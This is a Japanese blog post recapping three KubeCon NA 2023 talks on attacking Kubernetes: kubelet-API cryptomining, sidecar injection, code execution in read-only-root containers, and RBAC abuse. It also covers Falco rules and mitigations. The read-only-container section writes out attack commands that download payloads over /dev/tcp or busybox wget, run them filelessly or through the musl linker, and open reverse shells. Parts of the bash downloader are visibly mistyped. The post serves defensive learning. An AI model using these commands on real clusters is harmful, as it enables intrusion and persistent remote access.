KubeCon NA 2023 Recap: Attacking Kubernetes 編

本記事は 3-shake Advent Calendar 2023 最終日の記事です。

こんにちは、きょー (@kyohmizu) です

少し旬を逃してしまいましたが、KubeCon NA 2023 の振り返りをしたいと思います。私はKubeConにはリアル参加しておらず、後からセッション動画を見ました。
今回は「Attacking Kubernetes 編」ということで、Kubernetes へのサイバー攻撃テクニックに関するセッションを3つご紹介します。

ちなみに本内容は、先日開催された CloudNative Days Tokyo 2023 にてお話しするか検討していたのですが、準備期間とセッション時間 (20分) の都合で泣く泣く諦めたものになります。
CNDTの資料も載せておきますので、興味のある方は読んでいただけるとありがたいです。

speakerdeck.com

それではセッション紹介に入ります。

K8s Post-Exploitation: Privilege Escalation, Sidecar Container Injection, and Runtime Security

セッション情報

Kubernetes クラスタに侵入した攻撃者が行う攻撃手法と、その対策を紹介するセッションです。

最初に TeamTNT の行った攻撃キャンペーンについて、過去の調査レポートをベースに説明しています。
このキャンペーンでは、TeamTNT はクラスタへの初期アクセスの後、kubelet API のデフォルトポート (10250) を狙ってネットワークスキャンをかけています。スキャンによって kubelet API を発見した場合、kubelet API にPOSTリクエストを送り、最終的にノード内の全コンテナに対しクリプトマイナーをダウンロードします。

詳細は調査レポートを参照いただきたいですが、攻撃コードを見るとどのように攻撃が行われるのかイメージしやすいと思います。

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/e/teamtnt-targets-kubernetes,-nearly-50,000-ips-compromised-in-a-worm-like-attack/Team%20TNT%20Kubernetes-5.jpg

この攻撃はアプリコンテナ内でクリプトマイナーを実行するため、早期に発見されてしまう可能性があります。そこでより発見されにくい攻撃手法として、セッション後半では「Sidecar Injection 攻撃」を取り上げています。

Sidecar Injection 攻撃Microsoft の「Threat Matrix for Kubernetes」で紹介されている攻撃テクニックです。ちなみに MITRE ATT&CK の Containers Matrix にはこのテクニックは含まれていません。

Sidecar Injection 攻撃は名前の通り、Pod 内のサイドカーコンテナを標的とします。セッション内で攻撃のサンプルコードが公開されていましたが、Pod 内のサイドカーコンテナのみを選択しクリプトマイナーを実行することを目的としているようでした。
アプリコンテナに何も変更を加えないことで、攻撃をより発見されにくいものとします。

個人的にあまりピンと来なかったのは、アプリコンテナではなくサイドカーコンテナを狙うことで本当に攻撃を秘匿できるのか?という点です。
アプリコンテナへの攻撃はログ出力やパフォーマンスへの影響で見つかってしまうのでしょうか。マイニングであればいずれにしてもパフォーマンス影響は避けられませんし、後に登場するランタイムセキュリティのツールを導入していれば、アプリかサイドカーかはあまり関係ない気がします。
(この辺り私が読み違えている可能性もあるので、ご意見ご指摘などいただけると嬉しいです)

そして最後に、これらの攻撃に対するセキュリティ対策について説明しています。
RBAC による最小権限やコンテナのセキュリティ設定の他、Kubernetes セキュリティとして、

  • イメージスキャン
  • アドミッションコントロール
  • ランタイムセキュリティ

の3つのカテゴリを挙げ、実行中のコンテナに対する攻撃にはランタイムセキュリティが有効であると述べています。
ランタイムセキュリティのツールは Falco を取り上げ、今回の攻撃に対する Falco ルールも公開されました。

- list: shell_binaries
  items: [bash, csh, ksh, sh, tcsh, zsh, dash]

- macro: shell_procs
  condition: proc.name in (shell_binaries)

- rule: shell_in_container
  desc: notice shell activity within a container
  condition: >
    spawned process and
    container and
    shell_procs
  output: >
    shell in a container
    (user=%user.name container_id=%container.id container_name=%container.name
    shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)
  priority: WARNING

Arbitrary Code & File Execution in R/O FS – Am I Write?

セッション情報

readOnlyRootFilesystem: true が設定されたコンテナにおいて、コンテナ内で攻撃コードを実行するテクニックを3つ紹介しています。
内容は目新しいものではないかもしれませんが、具体的なテクニックをデモを交えて説明されていて非常に面白かったです。

Readonly Filesystem では、ファイルの読み込み (Read) と実行 (Execute) はできるが書き込み (Write) ができないという特徴があります。
コンテナの RootFS を Readonly とすることで、コンテナ内のファイルを改竄したりマルウェアを配置したりすることを防止します。ファイルレスマルウェアの攻撃も存在しますが、コンテナ内に curlwget のようなツールが含まれていなければマルウェアをダウンロードできません。
一見完璧にセキュリティ対策されていそうな Readonly RootFS コンテナですが、しかしこの設定だけで安全とは言い難いのが実情です。

それではセッション内の3つのケースについて見ていきます。ここではすべてを紹介しきれないため、より詳しく知りたい方は動画を見たりツールを調べたりしてみてください。

ケース1

curlwget のようなネットワークツールがない場合、どのように攻撃コードのファイルをダウンロードするのでしょうか?
1つ目のケースでは /dev/tcp を利用して TCP コネクションを確立し、ファイルをダウンロードしています。ただしダウンロードしたファイルを書き込むことはできないため、メモリ上で直接実行する必要があります。これには DDExec を使い、プロセスをハイジャックすることでファイルレス実行を可能にします。

$ function __bindown () {
  read proto server path <<<$(echo ${1//// })
  FILE=/${path// //}
  HOST-${server//:*}
  PORT=${server//*:}
  [[ x"$(HOST)" == x"${PORT}" ]] && PORT=8080

  exec 3<>/dev/tcp/${HOST]/$PORT
  echo -en "GET ${(FILE) HTTP/1.0\r\nHost: $(HOST)\r\n\r\n" >&3
  (while read line; do
  [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

$ __bindown http://192.168.88.4:8080/shell.b64 | bash <(__bindown http://192.168.88.4:8080/ddexec.sh)

base64 エンコードした攻撃用バイナリと ddexec.sh をそれぞれダウンロードし、ddexec.sh は bash で実行します。
コマンド実行後、攻撃者のサーバーに対してリバースシェルが確立されます。

ケース2

今回はコンテナイメージとして alpine を利用しています (ケース1は nginx でした)。alpine には bash が存在せず、/dev/tcp をそのまま実行することができないため、別の方法でファイルのダウンロードを試みます。
ケース1と同様 curlwget は存在しませんが、alpine には busybox がインストールされています。ファイルのダウンロードには busybox wget を利用し、ダウンロード先には Readonly RootFS の中でも書き込み可能な tmpfs を選択しています。

$ mount | grep shm
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

バイナリコードを直接実行できる ddsc.sh をダウンロードし、/dev/shm に保存します。noexec でマウントされているためファイルの実行はできませんが、ddsc.sh はシェルスクリプトなので sh から実行可能です。
攻撃用バイナリをコードとして ddsc.sh に渡せば、攻撃が成功しリバースシェルが確立されます。

$ dde=$(mktemp -p /dev/shm)
$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $dde

$ code=$(mktemp -p /dev/shm)
$ echo "6a295899...60f05" > $code
$ sh $dde -x < $code

ケース3

ケース2と同じマニフェストから作られた alpine コンテナの環境です。ファイルのダウンロードには引き続き busybox を利用しています。
ケース2と異なる点として、今回は termination-log にファイルを保存し、リンカを利用してファイルを実行します。

Kubernetes にはコンテナの終了メッセージを取得する機能があり、取得元ファイルのデフォルトパスが /dev/termination-log となっています。元々終了メッセージを書き込むことを想定したファイルなので、当然ながら書き込み可能です。これを攻撃用ファイルのダウンロード先に利用します。(終了メッセージの詳細は公式ドキュメントを参照ください)

$ mount | grep termination-log
/dev/vda1 on /dev/termination-log type ext4 (rw,relatime)

mount コマンドの結果から、termination-log のマウントには noexec 属性がついていないことがわかります。これによりリンカを利用したファイル実行が可能となります。

$ ldd
musl libc (x86_64)
Version 1.2.4_git20230717
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname

ldd コマンドにより、リンカの使い方は /lib/ld-musl-x86_64.so.1 [実行ファイルのパス] であることがわかりました。あとは攻撃用ファイルをダウンロードして実行するだけです。

$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/c-shell > /dev/termination-log
$ /lib/ld-musl-x86_64.so.1 /dev/termination-log

ケース1, 2と同様、実行後にはリバースシェルが確立されています。

攻撃テクニックの説明は以上となります。
セッションの最後には、これらの攻撃への具体的な対策が紹介されています。

  • seccomp や SELinux の活用
  • termination-log の場所の指定
  • コンテナ内の通信やプロセスの監視

seccomp や SELinux は対策としては一般的ですが、termination-log については聞いたことがなく、興味深い内容でした。ただしログの場所を変更できても noexec を付与する方法は見つけられなかったので、有効な対策と言えるかどうかはやや疑問が残りました。

ケース2の /dev/shm を利用した攻撃については、検知するための Falco ルールも例示されました。

- rule: Execution from /dev/shm
  desc: This rule detects file execution from the /dev/shm directory,
    a common tactic for threat actors to stash their readable+writable+(sometimes)executable files.
  condition: >
    spawned_process and
    (proc.exe startswith "/dev/shm/" or
    (proc.cwd startswith "/dev/shm/" and proc.exe startswith "./" ) or
    (shell_procs and proc.args startswith "-c /dev/shm") or
    (shell_procs and proc.args startswith "-i /dev/shm") or
    (shell_procs and proc.args startswith "/dev/shm") or
    (proc.args contains "/dev/shm" or proc.cwd startswith "/dev/shm") or
    (proc.cwd startswith "/dev/shm/" and proc.args startswith "./" ))
    and not container.image.repository in (falco_privileged_images, trusted_images)
  output: "File execution detected from /dev/shm
    (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name user.loginuid=%user.loginuid
    container.id=%container.id evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid
    proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid
    user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)"
  priority: WARNING

本セッションは発表者が6月に投稿した記事をもとにしているようなので、併せて読んでいただくと良いかもしれません。

また資料中の Pod のマニフェストはそのまま apply するとエラーになるため、ご自身で環境を再現したい方は以下をご利用ください。

ケース1:

apiVersion: v1
kind: Pod
metadata:
  name: method1-pod
spec:
  containers:
  - name: nginx
    image: nginx:latest
    securityContext:
      readOnlyRootFilesystem: true
      runAsUser: 101
    ports:
    - containerPort: 80
    volumeMounts:
    - mountPath: /var/run
      name: run
    - mountPath: /var/cache/nginx
      name: nginx-cache
  securityContext:
    seccompProfile:
      type: RuntimeDefault
  volumes:
  - name: run
    emptyDir: {}
  - name: nginx-cache
    emptyDir: {}

ケース2, 3:

apiVersion: v1
kind: Pod
metadata:
  name: method2-pod
spec:
  containers:
  - name: alpine
    image: alpine
    command:
      - sleep
    args:
      - "3600"
    securityContext:
      readOnlyRootFilesystem: true
      runAsUser: 65534
  securityContext:
    seccompProfile:
      type: RuntimeDefault

RBACdoors: How Cryptominers Are Exploiting RBAC Misconfigs

セッション情報

system:anonymous ユーザーに cluster-admin ロールを付与していた場合の攻撃事例を紹介しています。

cluster-admin は事前定義された ClusterRole で、クラスタ内のすべてのリソースに対する権限を持っています。system:anonymous は匿名リクエストに対して割り当てられているユーザーです。
この2つを組み合わせると、Kubernetes クラスタに対して認証なしであらゆるリソース操作ができてしまいます。

今回の攻撃シナリオは以下の通りです。

  1. Kubernetes API Server をスキャンし、設定ミスのあるクラスタを発見
  2. DaemonSet としてクリプトマイナー (XMRig) を設置
  3. cluster-admin の証明書を作成し、クラスタへの侵害を永続化
  4. 証明書作成の痕跡を削除

興味深い点として、クリプトマイナーを設置する際に ClusterRoleBinding と DaemonSet を作成しますが、リソース名を kube-controller とすることで正規のリソースを偽装しています。運用業務でクラスタ内のリソースを確認したとしても、クリプトマイナーの存在に気づかないかもしれません。
同様に、イメージリポジトリkubernetesio/~ のように偽装しています。

また今回はCSRを削除していますが、cluster-admin を持っていれば、クラスタ内で行われる検知の回避や防御の無効化も容易にできてしまいます。クラスタとは別のレイヤーで、監査ログの監視などを行う必要があるかもしれません。 パブリッククラウドを利用する場合、クラスタ内のセキュリティ対策とクラウド上の監視サービスを併用するのが良さそうです。

セッション後半では、取るべきセキュリティ対策について紹介しています。
予防策として、

  • Kubernetes API Server へのアクセスのネットワーク制限
  • --anonymous-auth=false による匿名リクエストを無効化
  • アドミッションコントローラーによる cluster-adminバインディング禁止

検知策として、

  • 設定ミスの検知
  • Kubernetes API への攻撃の検知
  • マイニングの検知

のそれぞれ3つの対策が挙げられています。
予防策はイメージしやすいので割愛しますが、検知策は少し補足しておきましょう。

設定ミスの対策では、system:anonymoussystem:authenticated に付与された権限がないか確認するためのスクリプトが紹介されています。
権限昇格が行われた場合に検知できるよう、Kubernetes の監査ログを監視することも有効です。Google Cloud の Security Command Center (SCC) には脅威検知の機能がありますが、この機能を利用すれば GKE に対する設定ミスや攻撃を検知できます。(発表者は Google Cloud の方です)

マイニングの検知について、IoC (Indicator of Compromise) を利用する方法がセッション内では紹介されています。既知のマルウェアコンテナや悪意のあるバイナリ、攻撃サーバのIPアドレス等と照合することで攻撃を検知します。
SCC におけるマイニング検知のベストプラクティスも興味があれば読んでみてください。

おわりに

いかがだったでしょうか?
Kubernetes への攻撃手法を知ることは、(それ自体面白いというのもありますが) リスクベースのセキュリティ対策を検討する上で非常に有用です。
現在導入している (導入を検討している) セキュリティ対策について、

  • このセキュリティ対策はどのような攻撃リスクを軽減してくれるのか
  • この攻撃が行われた場合、どのセキュリティ対策によって防ぐことができるのか

といった観点で考えてみることをお勧めします。
よりセキュアな Kubernetes クラスタを目指して、皆で取り組んでいきましょう。